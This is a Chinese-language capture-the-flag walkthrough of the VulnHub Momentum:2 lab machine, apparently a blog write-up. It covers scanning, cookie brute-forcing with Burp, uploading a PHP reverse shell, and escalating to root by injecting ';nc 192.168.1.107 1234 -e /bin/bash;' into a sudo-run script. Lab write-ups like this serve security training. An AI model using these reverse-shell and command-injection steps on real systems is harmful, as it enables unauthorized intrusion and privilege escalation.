靶机介绍
这个是Momentum系列的第二个靶机,第一个靶机详见:Momentum:1 下载地址:http://www.vulnhub.com/entry/momentum-2,702/ 难度:中等 描述:关键词curl, bash, code review
渗透过程
靶机IP获取
靶机的IP为192.168.1.105。
arp-scan -l
端口扫描
靶机开放了22和80端口。
nmap -A -T4 -p 1-65535 192.168.1.105
信息收集
- 首先扫描以下网站中的特殊文件,这里我一开始用的dirb,但是dirb竟然好多东西没有扫出来,卡住了好久,于是乎用gobuster又扫一遍,这里还要加上.php.bak类型文件,也是绝绝子。
gobuster dir -u http://192.168.1.105/ -x html,php,bak,txt,php.bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
信息1
访问扫描出的网址:http://192.168.1.105/dashboard.html,可以看到一个文件上传接口。
信息2
网址http://192.168.1.105/ajax.php.bak 中的代码下载下来,里面的内容是cookie的最后一个字母是额外添加的一个大写字母。然后如果是admin,并且cookie也正确,还需要提交一个post,设置secure等于val1d,就可以上传pdf,php,txt类型的文件,否则只能上传txt文件。 我们先传一个txt文件,然后查看,发现owl这个目录中出现了我们上传的文件。
burpsuite抓包改包
那么,现在的思路就是首先伪造admin的cookie,上传一个php反弹shell的脚本上去。 首先使用burpsuite抓包,先要进行一些设置。
- 在kali中启动burpsuite,直接命令行输入burpsuite即可。
- 在Proxy下点击Options,看到interface是127.0.0.1:8080。
- 在浏览器中的Internet Option中设置相同的IP地址以及端口号。
- 抓包
上传kali自带的php-reverse-shell文件(记得改ip为kali的IP),然后查看Proxy——intercept目录下抓到的包,我们点击Action——sendtointruder。点击payload,把cookie那里最后一个字母给爆破出来。爆破就是点击intruder,然后payloads,然后设置26个字母。 此外,还要使用post方式提交一个参数secure,值为val1d。(爆破成功的话上传回显1)
点击Start attack,查看Response,发现只有R返回值是1。 5. 改包 把最后Cookie最后一位改成R,然后点击Forward,这时候还没有退出burpsuite的话就一直点Forward就行。 查看OWL网址就能看见我们上传的脚本了。 把浏览器网络设置改回来。
获取shell
nc监听1234端口(php反弹shell脚本中设置的端口)。
nc -lnvp 1234
然后点击owl网址中我们上传的脚本,这样我们就得到了shell。
提权
信息收集
首先在home目录下得到一个用户名和密码。 用户名:Athena 密码:myvulnerableapp* (Asterisk是*的意思)
ssh登录
用上述账号和密码登录ssh,查看sudo -l,这里说Athena能够使用的sudo权限中有用python3执行cookie-gen.py这个文件。 查看cookie-gen.py这个文件。我用nano打开,这里提示没有权限改。分析这个脚本的内容,他会接受一个输入作为seed,然后生成一个cookie。关键是,他会构造一个命令行,并且执行。 那我们就可以在输入seed的时候构造一下子,去得到root权限的shell。
;nc 192.168.1.107 1234 -e /bin/bash;
拿到了第二个flag。
完结~
|